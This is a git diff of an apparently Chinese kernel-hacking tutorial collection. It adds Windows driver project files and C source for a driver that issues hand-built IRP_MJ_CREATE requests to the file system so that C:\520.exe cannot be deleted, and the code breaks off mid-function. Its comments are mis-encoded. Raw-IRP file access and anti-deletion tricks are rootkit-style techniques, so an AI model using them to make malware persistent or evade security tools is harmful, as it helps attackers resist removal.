\ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.inf" new file mode 100644 index 0000000..81247a4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.inf" @@ -0,0 +1,32 @@ +; +; ForceKillProcess_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="ForceKillProcess_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj" new file mode 100644 index 0000000..892d425 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj" @@ -0,0 +1,261 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {D46946DD-E024-4E20-8E17-877ED20D1B2E} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + ForceKillProcess_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj.filters" new file mode 100644 index 0000000..016691a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj.user" new file mode 100644 index 0000000..9a16bb4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess_Test.vcxproj.user" @@ -0,0 +1,43 @@ + + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test.sln" new file mode 100644 index 0000000..df0ca9e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "IrpFileProtect_Test", "IrpFileProtect_Test\IrpFileProtect_Test.vcxproj", "{D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {D2FA4306-2ACC-4ADE-BF9E-066D636AC85A}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test.v12.suo" new file mode 100644 index 0000000..0628b8f Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/Driver.c" new file mode 100644 index 0000000..409b1f7 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/Driver.c" @@ -0,0 +1,123 @@ +#include "FileProtect.h" +#include "Driver.h" + + +PFILE_OBJECT g_pFileObject = NULL; + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + NTSTATUS status = STATUS_SUCCESS; + + pDriverObject->DriverUnload = DriverUnload; + pDriverObject->MajorFunction[IRP_MJ_CREATE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverControlHandle; + + status = CreateDevice(pDriverObject); + + // ļ + UNICODE_STRING ustrFileName; + RtlInitUnicodeString(&ustrFileName, L"C:\\520.exe"); + g_pFileObject = ProtectFile(ustrFileName); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter DriverUnload\n"); + + // رձļ + if (g_pFileObject) + { + UnprotectFile(g_pFileObject); + } + + if (pDriverObject->DeviceObject) + { + IoDeleteDevice(pDriverObject->DeviceObject); + } + UNICODE_STRING ustrSymName; + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + IoDeleteSymbolicLink(&ustrSymName); + + DbgPrint("Leave DriverUnload\n"); +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverDefaultHandle\n"); + NTSTATUS status = STATUS_SUCCESS; + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Leave DriverDefaultHandle\n"); + return status; +} + + +NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverControlHandle\n"); + NTSTATUS status = STATUS_SUCCESS; + PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp); + ULONG ulInputLen = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength; + ULONG ulOutputLen = pIoStackLocation->Parameters.DeviceIoControl.OutputBufferLength; + ULONG ulControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; + PVOID pBuffer = pIrp->AssociatedIrp.SystemBuffer; + ULONG ulInfo = 0; + + switch (ulControlCode) + { + case IOCTL_TEST: + { + break; + } + default: + break; + } + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = ulInfo; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Leave DriverControlHandle\n"); + return status; +} + + +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter CreateDevice\n"); + NTSTATUS status = STATUS_SUCCESS; + PDEVICE_OBJECT pDevObj = NULL; + UNICODE_STRING ustrDevName, ustrSymName; + RtlInitUnicodeString(&ustrDevName, DEV_NAME); + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + + status = IoCreateDevice(pDriverObject, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateDevice Error[0x%X]\n", status); + return status; + } + + status = IoCreateSymbolicLink(&ustrSymName, &ustrDevName); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateSymbolicLink Error[0x%X]\n", status); + return status; + } + + DbgPrint("Leave CreateDevice\n"); + return status; +} + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/Driver.h" new file mode 100644 index 0000000..9b117a4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/Driver.h" @@ -0,0 +1,19 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +#define DEV_NAME L"\\Device\\IRP_FILE_DEV_NAME" +#define SYM_NAME L"\\DosDevices\\IRP_FILE_SYM_NAME" +#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/FileProtect.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/FileProtect.c" new file mode 100644 index 0000000..54b3d16 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/FileProtect.c" @@ -0,0 +1,30 @@ +#include "FileProtect.h" + + +PFILE_OBJECT ProtectFile(UNICODE_STRING ustrFileName) +{ + PFILE_OBJECT pFileObject = NULL; + IO_STATUS_BLOCK iosb = { 0 }; + NTSTATUS status = STATUS_SUCCESS; + + // ߴļ + status = IrpCreateFile(&pFileObject, DELETE | FILE_READ_ATTRIBUTES | SYNCHRONIZE, + &ustrFileName, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); + if (!NT_SUCCESS(status)) + { + return pFileObject; + } + + return pFileObject; +} + + +BOOLEAN UnprotectFile(PFILE_OBJECT pFileObject) +{ + if (pFileObject) + { + ObDereferenceObject(pFileObject); + } + return TRUE; +} diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/FileProtect.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/FileProtect.h" new file mode 100644 index 0000000..d89ab35 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/FileProtect.h" @@ -0,0 +1,13 @@ +#ifndef _FILE_PROTECT_H_ +#define _FILE_PROTECT_H_ + + +#include "IrpFile.h" + + +PFILE_OBJECT ProtectFile(UNICODE_STRING ustrFileName); +BOOLEAN UnprotectFile(PFILE_OBJECT pFileObject); + + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFile.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFile.c" new file mode 100644 index 0000000..c39a382 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\344\277\235\346\212\244/IrpFileProtect_Test/IrpFileProtect_Test/IrpFile.c" @@ -0,0 +1,624 @@ +#include "IrpFile.h" + + +// ʵ, ¼ź, ͷIRP +NTSTATUS MyCompleteRoutine( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP pIrp, + IN PVOID Context) +{ + *pIrp->UserIosb = pIrp->IoStatus; + + // ¼ź + if (pIrp->UserEvent) + { + KeSetEvent(pIrp->UserEvent, IO_NO_INCREMENT, FALSE); + } + + // ͷMDL + if (pIrp->MdlAddress) + { + IoFreeMdl(pIrp->MdlAddress); + pIrp->MdlAddress = NULL; + } + + // ͷIRP + IoFreeIrp(pIrp); + pIrp = NULL; + + return STATUS_MORE_PROCESSING_REQUIRED; +} + + +// ߴļ +// ZwCreateFile +NTSTATUS IrpCreateFile( + OUT PFILE_OBJECT *ppFileObject, + IN ACCESS_MASK DesiredAccess, + IN PUNICODE_STRING pustrFilePath, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG ulFileNameMaxSize = 512; + WCHAR wszName[100] = { 0 }; + UNICODE_STRING ustrRootPath; + OBJECT_ATTRIBUTES objectAttributes = { 0 }; + HANDLE hRootFile = NULL; + PFILE_OBJECT pRootFileObject = NULL, pFileObject = NULL; + PDEVICE_OBJECT RootDeviceObject = NULL, RootRealDevice = NULL; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + ACCESS_STATE accessData = { 0 }; + AUX_ACCESS_DATA auxAccessData = { 0 }; + IO_SECURITY_CONTEXT ioSecurityContext = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + + // 򿪴̸Ŀ¼ȡ + wcscpy(wszName, L"\\??\\A:\\"); + wszName[4] = pustrFilePath->Buffer[0]; + RtlInitUnicodeString(&ustrRootPath, wszName); + DbgPrint("RootPath:%wZ\n", &ustrRootPath); + InitializeObjectAttributes(&objectAttributes, &ustrRootPath, OBJ_KERNEL_HANDLE, NULL, NULL); + status = IoCreateFile(&hRootFile, GENERIC_READ | SYNCHRONIZE, + &objectAttributes, IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, + NULL, IO_NO_PARAMETER_CHECKING); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateFile Error[0x%X]", status); + return status; + } + + // ȡ̸Ŀ¼ļ + status = ObReferenceObjectByHandle(hRootFile, FILE_READ_ACCESS, *IoFileObjectType, KernelMode, &pRootFileObject, NULL); + if (!NT_SUCCESS(status)) + { + ZwClose(hRootFile); + DbgPrint("ObReferenceObjectByHandle Error[0x%X]\n", status); + return status; + } + + // ȡ̸Ŀ¼豸 + RootDeviceObject = pRootFileObject->Vpb->DeviceObject; + RootRealDevice = pRootFileObject->Vpb->RealDevice; + + // رմ̸Ŀ¼Ͷ + ObDereferenceObject(pRootFileObject); + ZwClose(hRootFile); + + // IRP + pIrp = IoAllocateIrp(RootDeviceObject->StackSize, FALSE); + if (NULL == pIrp) + { + ObDereferenceObject(pFileObject); + DbgPrint("IoAllocateIrp Error!\n"); + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // ļ + InitializeObjectAttributes(&objectAttributes, NULL, OBJ_CASE_INSENSITIVE, NULL, NULL); + status = ObCreateObject(KernelMode, *IoFileObjectType, &objectAttributes, KernelMode, NULL, sizeof(FILE_OBJECT), 0, 0, &pFileObject); + if (!NT_SUCCESS(status)) + { + DbgPrint("ObCreateObject Error[0x%X]\n", status); + return status; + } + + // ôļ FILE_OBJECT + RtlZeroMemory(pFileObject, sizeof(FILE_OBJECT)); + pFileObject->Type = IO_TYPE_FILE; + pFileObject->Size = sizeof(FILE_OBJECT); + pFileObject->DeviceObject = RootRealDevice; + pFileObject->Flags = FO_SYNCHRONOUS_IO; + + // FILE_OBJECTеFileNameö̬, ObDereferenceObjectļʱ + pFileObject->FileName.Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, ulFileNameMaxSize); + pFileObject->FileName.MaximumLength = (USHORT)ulFileNameMaxSize; + pFileObject->FileName.Length = pustrFilePath->Length - 4; + RtlZeroMemory(pFileObject->FileName.Buffer, ulFileNameMaxSize); + RtlCopyMemory(pFileObject->FileName.Buffer, &pustrFilePath->Buffer[2], pFileObject->FileName.Length); + DbgPrint("pFileObject->FileName:%wZ\n", &pFileObject->FileName); + KeInitializeEvent(&pFileObject->Lock, SynchronizationEvent, FALSE); + KeInitializeEvent(&pFileObject->Event, NotificationEvent, FALSE); + + // Ȩ״̬ + RtlZeroMemory(&auxAccessData, sizeof(auxAccessData)); + status = SeCreateAccessState(&accessData, &auxAccessData, DesiredAccess, IoGetFileObjectGenericMapping()); + if (!NT_SUCCESS(status)) + { + IoFreeIrp(pIrp); + ObDereferenceObject(pFileObject); + DbgPrint("SeCreateAccessState Error[0x%X]\n", status); + return status; + } + + // ðȫ IO_SECURITY_CONTEXT + ioSecurityContext.SecurityQos = NULL; + ioSecurityContext.AccessState = &accessData; + ioSecurityContext.DesiredAccess = DesiredAccess; + ioSecurityContext.FullCreateOptions = 0; + + // IRP + RtlZeroMemory(IoStatusBlock, sizeof(IO_STATUS_BLOCK)); + pIrp->MdlAddress = NULL; + pIrp->AssociatedIrp.SystemBuffer = EaBuffer; + pIrp->Flags = IRP_CREATE_OPERATION | IRP_SYNCHRONOUS_API; + pIrp->RequestorMode = KernelMode; + pIrp->UserIosb = IoStatusBlock; + pIrp->UserEvent = &kEvent; + pIrp->PendingReturned = FALSE; + pIrp->Cancel = FALSE; + pIrp->CancelRoutine = NULL; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.AuxiliaryBuffer = NULL; + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_CREATE; + pIoStackLocation->DeviceObject = RootDeviceObject; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.Create.SecurityContext = &ioSecurityContext; + pIoStackLocation->Parameters.Create.Options = (CreateDisposition << 24) | CreateOptions; + pIoStackLocation->Parameters.Create.FileAttributes = (USHORT)FileAttributes; + pIoStackLocation->Parameters.Create.ShareAccess = (USHORT)ShareAccess; + pIoStackLocation->Parameters.Create.EaLength = EaLength; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(RootDeviceObject, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, NULL); + } + + // жIRP + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + ObDereferenceObject(pFileObject); + DbgPrint("IRP FAILED!\n"); + return status; + } + + InterlockedIncrement(&pFileObject->DeviceObject->ReferenceCount); + if (pFileObject->Vpb) + { + 